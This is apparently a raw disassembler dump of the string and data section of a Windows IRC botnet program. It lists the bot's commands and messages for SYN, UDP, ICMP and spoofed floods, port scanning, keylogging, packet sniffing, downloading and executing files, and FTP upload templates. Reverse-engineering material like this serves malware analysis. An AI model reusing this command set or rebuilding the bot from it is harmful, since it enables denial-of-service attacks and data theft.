					; DATA XREF: sub_401AC7+68D6o
		dd 7325203Ah, 0
unk_42A51C	db  2Dh	; -		; DATA XREF: sub_401AC7+68CBo
		db 3, 34h, 2
		db  65h	; e
		db 78h,	65h, 63h
		db    2
		db 3, 2Dh, 20h
aCouldnTExecute	db 'Couldn',27h,'t execute file.',0
		align 10h
unk_42A540	db  2Dh	; -		; DATA XREF: sub_401AC7+6831o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_1	db 'Failed to start search thread, error: <%d>.',0
unk_42A57C	db  2Dh	; -		; DATA XREF: sub_401AC7+67BBo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingForFi	db 'Searching for file: %s in: %s.',0
		align 4
dword_42A5AC	dd 234032Dh, 656C6966h,	2D0302h	; DATA XREF: sub_401AC7:loc_4081BFo
					; sub_401AC7:loc_4091C2o
unk_42A5B8	db  2Dh	; -		; DATA XREF: sub_401AC7+66E3o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aRenameSToS_	db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 4
unk_42A5DC	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_408188o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidFloodTi	db 'Invalid flood time must be greater than 0.',0
		align 4
unk_42A614	db  2Dh	; -		; DATA XREF: sub_401AC7+66B7o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_2	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A64C	db  2Dh	; -		; DATA XREF: sub_401AC7+6641o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_0	db 'Flooding: (%s) for %s seconds.',0
		align 4
dword_42A678	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401AC7+65CAo
aFailedToStar_3	db '- Failed to start clone thread, error: <%d>.',0
		align 4
dword_42A6B4	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401AC7+655Bo
aCreatedOnSDInC	db '- Created on %s:%d, in channel %s.',0
		align 4
unk_42A6E4	db  2Dh	; -		; DATA XREF: sub_401AC7+64E2o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_4	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A71C	db  2Dh	; -		; DATA XREF: sub_401AC7+646Ao
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFloodingSSForS	db 'Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_42A74C	db  2Dh	; -		; DATA XREF: sub_401AC7+63E9o
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFailedToStar_5	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A784	db  2Dh	; -		; DATA XREF: sub_401AC7+6371o
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFloodingSSFo_0	db '- Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_42A7B4	db  2Dh	; -		; DATA XREF: sub_401AC7+6301o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_6	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A7EC	db  2Dh	; -		; DATA XREF: sub_401AC7+6289o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_1	db 'Flooding %s for %s seconds using delay %s ms.',0
		align 4
unk_42A828	db  2Dh	; -		; DATA XREF: sub_401AC7+6219o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToStartT	db 'Failed to start transfer thread, error: <%d>.',0
		align 4
dword_42A868	dd 234032Dh, 61526159h,	3022162h ; DATA	XREF: sub_401AC7+61AAo
aDownloadingUrl	db '- Downloading URL: %s to: %s.',0
		align 4
unk_42A894	db  2Dh	; -		; DATA XREF: sub_401AC7+60DEo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToStartR	db 'Failed to start redirection thread, error: <%d>.',0
		align 4
unk_42A8D8	db  2Dh	; -		; DATA XREF: sub_401AC7+606Fo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aTcpRedirectCre	db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_42A914	db    3			; DATA XREF: sub_401AC7+5F75o
a81Sc@nPortScan	db '8,1-SC@N- Port scan started: %s:%d with delay: %d(ms).',0
aSSS_1		db '[%s] <%s> %s',0     ; DATA XREF: sub_401AC7+5EF1o
		align 4
aSSS_2		db '[%s] * %s %s',0     ; DATA XREF: sub_401AC7+5DF7o
		align 4
dword_42A96C	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_401AC7+5D69o
					; sub_401AC7+7063o
unk_42A978	db  2Dh	; -		; DATA XREF: sub_401AC7+5D0Ao
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_7	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_42A9B4	db  2Dh	; -		; DATA XREF: sub_401AC7+5C9Bo
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStarte	db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
		align 4
unk_42AA04	db    3			; DATA XREF: sub_401AC7+5C04o
					; sub_401AC7+5FE4o
a81Sc@nFailedTo	db '8,1-SC@N- Failed to start scan thread, error: <%d>.',0
		align 4
unk_42AA3C	db    3			; DATA XREF: sub_401AC7+5B95o
a81Sc@nSPortSca	db '8,1-SC@N- %s Port Scan started on %s:%d with a delay of %d second'
		db 's for %d minutes using %d threads.',0
		align 4
unk_42AAA4	db    3			; DATA XREF: sub_401AC7+5A1Fo
a81Sc@nFailed_0	db '8,1-SC@N- Failed to start scan, no IP specified.',0
		align 4
unk_42AAD8	db    3			; DATA XREF: sub_401AC7+59C2o
a81Sc@nFailed_1	db '8,1-SC@N- Failed to start scan, port is invalid.',0
		align 4
unk_42AB0C	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_407364o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFileS	db '- Uploading file: %s to: %s failed.',0
		align 4
unk_42AB3C	db  2Dh	; -		; DATA XREF: sub_401AC7+5896o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFil_0	db '- Uploading file: %s to: %s',0
		align 4
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_401AC7+587Fo
aSS_1		db '-s:%s',0            ; DATA XREF: sub_401AC7+5868o
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_401AC7+5848o
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aAb		db 'ab',0               ; DATA XREF: sub_401AC7+5824o
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_401AC7+5813o
		align 4
unk_42ABAC	db  2Dh	; -		; DATA XREF: sub_401AC7+57BAo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aFileNotFoundS_	db '- File not found: %s.',0
		align 4
aUpload		db 'upload',0           ; DATA XREF: sub_401AC7+5797o
		align 4
unk_42ABD4	db    3			; DATA XREF: sub_401AC7+5761o
a81Sc@nAlreadyD	db '8,1-SC@N- Already %d scanning threads. Too many specified.',0
unk_42AC10	db  2Dh	; -		; DATA XREF: sub_401AC7+5702o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFailedToStar_8	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42AC48	db  2Dh	; -		; DATA XREF: sub_401AC7+5697o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aSendingDPacket	db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 10h
unk_42AC90	db  2Dh	; -		; DATA XREF: sub_401AC7+55E9o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aMessageHasBeen	db '- Message has been sent successfuly',0
		align 4
unk_42ACC4	db  2Dh	; -		; DATA XREF: sub_401AC7+55B5o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aFailedToSendMe	db '- Failed to send message, error <%i>.',0
		align 4
unk_42ACF8	db  2Dh	; -		; DATA XREF: sub_401AC7+5591o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aNetsendDoesNot	db '- NetSend does not work on Win9x systems',0
		align 10h
unk_42AD30	db  2Dh	; -		; DATA XREF: sub_401AC7+54EFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aSendingMessage	db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_401AC7+54D2o
		align 4
unk_42AD84	db  2Dh	; -		; DATA XREF: sub_401AC7+54BDo
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_9	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42ADBC	db  2Dh	; -		; DATA XREF: sub_401AC7+544Eo
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aSendingDPingsT	db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 4
unk_42AE04	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_406E6Ao
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFlood_0	db '- Invalid flood time must be greater than 0.',0
		align 4
unk_42AE3C	db  2Dh	; -		; DATA XREF: sub_401AC7+538Ao
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aFailedToSta_10	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42AE74	db  2Dh	; -		; DATA XREF: sub_401AC7+5310o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aSSFloodingSSFo	db '- %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: sub_401AC7+5300o
		align 10h
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_401AC7+52F9o
unk_42AEB8	db  2Dh	; -		; DATA XREF: sub_401AC7+5264o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFloodTy	db '- Invalid flood type specified.',0
		align 4
aRandom_0	db 'random',0           ; DATA XREF: sub_401AC7+5254o
		align 4
aAck		db 'ack',0              ; DATA XREF: sub_401AC7+523Do
aHcon		db 'hcon',0             ; DATA XREF: sub_401AC7+51C9o
		align 4
aHttpcon	db 'httpcon',0          ; DATA XREF: sub_401AC7+51B6o
unk_42AF00	db  2Dh	; -		; DATA XREF: sub_401AC7+5167o
		db 3, 34h, 2
		db  65h	; e
		db 6Dh,	61h, 69h
		db  6Ch	; l
		db 2, 3, 2Dh
aMessageSentToS	db ' Message sent to %s.',0
		align 4
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_401AC7+50F3o
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
aEmail		db 'email',0            ; DATA XREF: sub_401AC7+5008o
		align 4
aTcp		db 'tcp',0              ; DATA XREF: sub_401AC7+4FF1o
aTcpflood	db 'tcpflood',0         ; DATA XREF: sub_401AC7+4FDAo
		align 4
aVncHttpHostCha	db 'VNC: HTTP Host Changed To: %s',0 ; DATA XREF: sub_401AC7+4FB0o
		align 4
aVnchost	db 'vnchost',0          ; DATA XREF: sub_401AC7+4F93o
aP:					; DATA XREF: sub_401AC7+4F7Co
					; ___:00438318o
		unicode	0, <p>,0
aPing_0		db 'ping',0             ; DATA XREF: sub_401AC7+4F65o
		align 4
aPingflood	db 'pingflood',0        ; DATA XREF: sub_401AC7+4F4Eo
		align 4
aNs		db 'ns',0               ; DATA XREF: sub_401AC7+4F37o
		align 4
aNetsend	db 'netsend',0          ; DATA XREF: sub_401AC7+4F20o
aU:					; DATA XREF: sub_401AC7+4F09o
					; ___:00438328o
		unicode	0, <u>,0
aUdp		db 'udp',0              ; DATA XREF: sub_401AC7+4EF2o
aUdpflood	db 'udpflood',0         ; DATA XREF: sub_401AC7+4EDBo
		align 4
aAsc		db 'asc',0              ; DATA XREF: sub_401AC7+4EC4o
off_42AFEC	dd offset word_587256	; DATA XREF: sub_401AC7+4EADo
dword_42AFF0	dd 637370h		; DATA XREF: sub_401AC7+4E96o
aPortscan	db 'portscan',0         ; DATA XREF: sub_401AC7+4E7Fo
		align 10h
aC_a		db 'c_a',0              ; DATA XREF: sub_401AC7+4E59o
aC_action	db 'c_action',0         ; DATA XREF: sub_401AC7+4E42o
		align 10h
aC_pm		db 'c_pm',0             ; DATA XREF: sub_401AC7+4E2Bo
		align 4
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: sub_401AC7+4E14o
		align 4
aSc		db 'sc',0               ; DATA XREF: sub_401AC7+4DFDo
		align 4
aScan		db 'scan',0             ; DATA XREF: sub_401AC7+4DE6o
		align 10h
aRd		db 'rd',0               ; DATA XREF: sub_401AC7+4DCFo
		align 4
aRedirect	db 'redirect',0         ; DATA XREF: sub_401AC7+4DB8o
		align 10h
aNazel		db 'NAZEL',0            ; DATA XREF: sub_401AC7+4D8Ao
					; sub_401AC7+4DA1o
		align 4
aWonk		db 'wonk',0             ; DATA XREF: sub_401AC7+4D73o
		align 10h
aPhatwonk	db 'phatwonk',0         ; DATA XREF: sub_401AC7+4D5Co
		align 4
dword_42B05C	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401AC7+4D4Fo
aFailedToSta_11	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42B098	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401AC7+4CD7o
aFloodingSSFo_1	db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn		db 'skysyn',0           ; DATA XREF: sub_401AC7+4C5Do
		align 10h
aSyn		db 'syn',0              ; DATA XREF: sub_401AC7+4C46o
					; sub_401AC7+5225o
aSynflood	db 'synflood',0         ; DATA XREF: sub_401AC7+4C2Fo
		align 10h
unk_42B0E0	db  2Dh	; -		; DATA XREF: sub_401AC7+4C22o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFailedToSta_12	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
aWisdom_udp	db 'wisdom.udp',0       ; DATA XREF: sub_401AC7+4B4Bo
		align 4
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_401AC7+4B34o
					; sub_41364F:loc_41377Bo
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_401AC7+4B1Do
					; sub_41364F:loc_41375Fo
		align 4
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_401AC7+4B06o
					; sub_41364F+F1o
		align 10h
aClone_0	db 'clone',0            ; DATA XREF: sub_401AC7+4AD8o
		align 4
aIcmp		db 'icmp',0             ; DATA XREF: sub_401AC7+4AAFo
		align 10h
aIcmpflood	db 'icmpflood',0        ; DATA XREF: sub_401AC7+4A98o
		align 4
aMv		db 'mv',0               ; DATA XREF: sub_401AC7+4A81o
		align 10h
aRename		db 'rename',0           ; DATA XREF: sub_401AC7+4A6Ao
		align 4
aFf		db 'ff',0               ; DATA XREF: sub_401AC7+4A53o
		align 4
aFindfile	db 'findfile',0         ; DATA XREF: sub_401AC7+4A3Co
		align 4
aE:					; DATA XREF: sub_401AC7+4A25o
					; ___:004382E8o
		unicode	0, <e>,0
aExecute	db 'execute',0          ; DATA XREF: sub_401AC7+4A0Eo
aHadeth		db 'HADETH',0           ; DATA XREF: sub_401AC7+49E0o
					; sub_401AC7+49F7o
		align 4
aDe		db 'de',0               ; DATA XREF: sub_401AC7+49C9o
		align 10h
aDelay		db 'delay',0            ; DATA XREF: sub_401AC7+49B2o
		align 4
aRp		db 'rp',0               ; DATA XREF: sub_401AC7+499Bo
		align 4
aRepeat		db 'repeat',0           ; DATA XREF: sub_401AC7+4984o
					; sub_401AC7+6B38o
		align 4
aTsn		db 'tsn',0              ; DATA XREF: sub_401AC7+496Do
aTsunami	db 'tsunami',0          ; DATA XREF: sub_401AC7+4956o
aT3		db 't3',0               ; DATA XREF: sub_401AC7+493Fo
		align 4
aTarga3		db 'targa3',0           ; DATA XREF: sub_401AC7+4928o
		align 4
aC_p		db 'c_p',0              ; DATA XREF: sub_401AC7+4911o
aC_part		db 'c_part',0           ; DATA XREF: sub_401AC7+48FAo
		align 4
aC_j		db 'c_j',0              ; DATA XREF: sub_401AC7+48E3o
aC_join		db 'c_join',0           ; DATA XREF: sub_401AC7+48CCo
		align 4
aC_n		db 'c_n',0              ; DATA XREF: sub_401AC7+48B5o
aC_nick		db 'c_nick',0           ; DATA XREF: sub_401AC7+489Eo
		align 10h
aC_m		db 'c_m',0              ; DATA XREF: sub_401AC7+4887o
aC_mode		db 'c_mode',0           ; DATA XREF: sub_401AC7+4870o
		align 4
aC_r		db 'c_r',0              ; DATA XREF: sub_401AC7+4859o
aC_raw		db 'c_raw',0            ; DATA XREF: sub_401AC7+4842o
		align 4
aM:					; DATA XREF: sub_401AC7+482Bo
					; ___:00437FF0o ...
		unicode	0, <m>,0
aCy		db 'cy',0               ; DATA XREF: sub_401AC7+47FDo
		align 10h
aCycle		db 'cycle',0            ; DATA XREF: sub_401AC7+47E6o
		align 4
aA:					; DATA XREF: sub_401AC7+47CFo
		unicode	0, <a>,0
aAction		db 'action',0           ; DATA XREF: sub_401AC7+47B8o
		align 4
aPrivmsg_0	db 'privmsg',0          ; DATA XREF: sub_401AC7+478Ao
aAa		db 'aa',0               ; DATA XREF: sub_401AC7+4773o
		align 10h
aAddalias	db 'addalias',0         ; DATA XREF: sub_401AC7+475Co
		align 4
aKl		db 'kl',0               ; DATA XREF: sub_401AC7+4745o
		align 10h
aKilllog	db 'killlog',0          ; DATA XREF: sub_401AC7+472Eo
aGh		db 'gh',0               ; DATA XREF: sub_401AC7+4705o
		align 4
aGethost	db 'gethost',0          ; DATA XREF: sub_401AC7+46EEo
unk_42B254	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_4061A8o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aCommandUnknown	db '- Command unknown.',0
unk_42B270	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_40619Eo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aNoMessageSpeci	db '- No message specified.',0
		align 4
aSend		db 'send',0             ; DATA XREF: sub_401AC7+4694o
					; sub_4098FD+5F0o
		align 4
unk_42B29C	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_406150o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListFailed	db '- User list failed.',0
		align 4
unk_42B2BC	db  2Dh	; -		; DATA XREF: sub_401AC7+467Fo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListComple	db '- User list completed.',0
unk_42B2DC	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_4060AEo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListFaile	db '- Share list failed.',0
		align 4
unk_42B2FC	db  2Dh	; -		; DATA XREF: sub_401AC7+45DDo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListCompl	db '- Share list completed.',0
		align 10h
aShare		db 'share',0            ; DATA XREF: sub_401AC7+4575o
		align 4
aContinue	db 'continue',0         ; DATA XREF: sub_401AC7+453Fo
		align 4
aPause		db 'pause',0            ; DATA XREF: sub_401AC7+4527o
		align 4
unk_42B33C	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_405FCBo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListFai	db '- Service list failed.',0
unk_42B35C	db  2Dh	; -		; DATA XREF: sub_401AC7+44FAo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListCom	db '- Service list completed.',0
		align 10h
aStart		db 'start',0            ; DATA XREF: sub_401AC7+44A9o
		align 4
unk_42B388	db  2Dh	; -		; DATA XREF: sub_401AC7+4476o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aFailedToLoadAd	db '- Failed to load advapi32.dll or netapi32.dll.',0
aNet		db 'net',0              ; DATA XREF: sub_401AC7+4452o
aStop		db 'stop',0             ; DATA XREF: sub_401AC7+4424o
					; sub_401AC7+443Bo ...
		align 4
aKeylog		db 'keylog',0           ; DATA XREF: sub_401AC7+440Do
		align 4
aKeyloger	db 'keyloger',0         ; DATA XREF: sub_401AC7+43F6o
		align 10h
dword_42B3E0	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401AC7:loc_405EB0o
aNoThreadFound_	db '- No thread found.',0
		align 10h
dword_42B400	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401AC7+43DFo
aServerStopped_	db '- Server stopped. (%d thread(s) stopped.)',0
		align 4
dword_42B438	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401AC7+43B1o
aFailedToSta_13	db '- Failed to start server, error: <%d>.',0
		align 4
dword_42B46C	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401AC7+4364o
aServerRunnin_0	db '- Server running on Port: 113.',0
		align 4
dword_42B498	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401AC7+4354o
aAlreadyRunning	db '- Already running.',0
		align 4
aIdent		db 'ident',0            ; DATA XREF: sub_401AC7+4323o
		align 10h
unk_42B4C0	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_405DDDo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aNoVrxSnifferTh	db '- No VrX sniffer thread found.',0
unk_42B4EC	db  2Dh	; -		; DATA XREF: sub_401AC7+430Co
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVrxSnifferStop	db '- VrX sniffer stopped. (%d thread(s) stopped.)',0
unk_42B528	db  2Dh	; -		; DATA XREF: sub_401AC7+42DEo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFailedToSta_14	db '- Failed to start sniffer thread, error: <%d>.',0
unk_42B564	db  2Dh	; -		; DATA XREF: sub_401AC7+426Fo
		db 3, 34h, 2
		db  53h	; S
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVrxPacketSniff	db '- VrX packet sniffer active.',0
		align 10h
unk_42B590	db  2Dh	; -		; DATA XREF: sub_401AC7+420Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aAlreadyRunni_0	db '- Already running.',0
aSniffer	db 'sniffer',0          ; DATA XREF: sub_401AC7+41D6o
dword_42B5B8	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401AC7:loc_405C90o
aNoCarnivoreThr	db '- No Carnivore thread found.',0
		align 4
dword_42B5E4	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401AC7+41BFo
aCarnivoreStopp	db '- Carnivore stopped. (%d thread(s) stopped.)',0
		align 10h
dword_42B620	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401AC7+4191o
aFailedToSta_15	db '- Failed to start sniffer thread, error: <%d>.',0
		align 4
dword_42B65C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401AC7+4122o
aCarnivorePacke	db '- Carnivore packet sniffer active.',0
		align 4
dword_42B68C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401AC7+40BEo
aAlreadyRunni_1	db '- Already running.',0
		align 4
aOn		db 'on',0               ; DATA XREF: sub_401AC7+409Eo
					; sub_401AC7+41EBo ...
		align 10h
aPsniff		db 'psniff',0           ; DATA XREF: sub_401AC7+4089o
		align 4
aRf		db 'rf',0               ; DATA XREF: sub_401AC7+4072o
		align 4
aReadfile	db 'readfile',0         ; DATA XREF: sub_401AC7+405Bo
		align 4
aCm		db 'cm',0               ; DATA XREF: sub_401AC7+4044o
		align 4
aCmd		db 'cmd',0              ; DATA XREF: sub_401AC7+402Do
aMirc		db 'mirc',0             ; DATA XREF: sub_401AC7+4016o
		align 4
aMirccmd	db 'mirccmd',0          ; DATA XREF: sub_401AC7+3FFFo
aV:					; DATA XREF: sub_401AC7+3FE8o
					; ___:00437FE4o ...
		unicode	0, <v>,0
aVisit		db 'visit',0            ; DATA XREF: sub_401AC7+3FD1o
		align 4
aLi		db 'li',0               ; DATA XREF: sub_401AC7+3FBAo
		align 10h
aList		db 'list',0             ; DATA XREF: sub_401AC7+3FA3o
		align 4
aGt		db 'gt',0               ; DATA XREF: sub_401AC7+3F8Co
		align 4
aDel		db 'del',0              ; DATA XREF: sub_401AC7+3F5Eo
aDelete		db 'delete',0           ; DATA XREF: sub_401AC7+3F47o
					; sub_401AC7+455Ao
		align 4
aKi		db 'ki',0               ; DATA XREF: sub_401AC7+3F30o
		align 4
aKill		db 'kill',0             ; DATA XREF: sub_401AC7+3F19o
		align 4
aKp		db 'kp',0               ; DATA XREF: sub_401AC7+3F02o
		align 4
aKillproc	db 'killproc',0         ; DATA XREF: sub_401AC7+3EEBo
		align 4
aDn		db 'dn',0               ; DATA XREF: sub_401AC7+3ED4o
		align 4
aDns		db 'dns',0              ; DATA XREF: sub_401AC7+3EBDo
aSe		db 'se',0               ; DATA XREF: sub_401AC7+3EA6o
		align 10h
aO:					; DATA XREF: sub_401AC7+3E78o
					; ___:00438314o
		unicode	0, <o>,0
aOpen		db 'open',0             ; DATA XREF: sub_401AC7+3E61o
					; sub_401AC7+5884o ...
		align 4
aPr		db 'pr',0               ; DATA XREF: sub_401AC7+3E4Ao
		align 10h
aPrefix		db 'prefix',0           ; DATA XREF: sub_401AC7+3E33o
		align 4
aC_rn		db 'c_rn',0             ; DATA XREF: sub_401AC7+3E1Co
		align 10h
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: sub_401AC7+3E05o
		align 4
aC_q		db 'c_q',0              ; DATA XREF: sub_401AC7+3DEEo
aC_quit		db 'c_quit',0           ; DATA XREF: sub_401AC7+3DD7o
		align 4
aK:					; DATA XREF: sub_401AC7+3DC0o
					; ___:00438304o
		unicode	0, <k>,0
aKillthread	db 'killthread',0       ; DATA XREF: sub_401AC7+3DA9o
		align 4
aRaw		db 'raw',0              ; DATA XREF: sub_401AC7+3D7Bo
aPt		db 'pt',0               ; DATA XREF: sub_401AC7+3D64o
		align 10h
aJ:					; DATA XREF: sub_401AC7+3D36o
					; ___:00438300o
		unicode	0, <j>,0
aN:					; DATA XREF: sub_401AC7+3D08o
					; ___:00437FECo ...
		unicode	0, <n>,0
unk_42B788	db  2Dh	; -		; DATA XREF: sub_401AC7+3CD3o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aDisconnectingC	db '- disconnecting clones...',0
		align 10h
aNickservRegist	db 'nickserv register %s %s',0 ; DATA XREF: sub_401AC7+3C6Ao
aRegister	db 'register',0         ; DATA XREF: sub_401AC7+3C41o
		align 4
aPrivmsgSS_0	db 'PRIVMSG %s :%s',0   ; DATA XREF: sub_401AC7+3BE6o
		align 4
aMix		db 'mix',0              ; DATA XREF: sub_401AC7+3B14o
dword_42B7E8	dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
					; DATA XREF: sub_401AC7+3ABEo
					; sub_401AC7+3AF9o
		dd 0
dword_42B800	dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
					; DATA XREF: sub_401AC7+3A83o
		dd 1
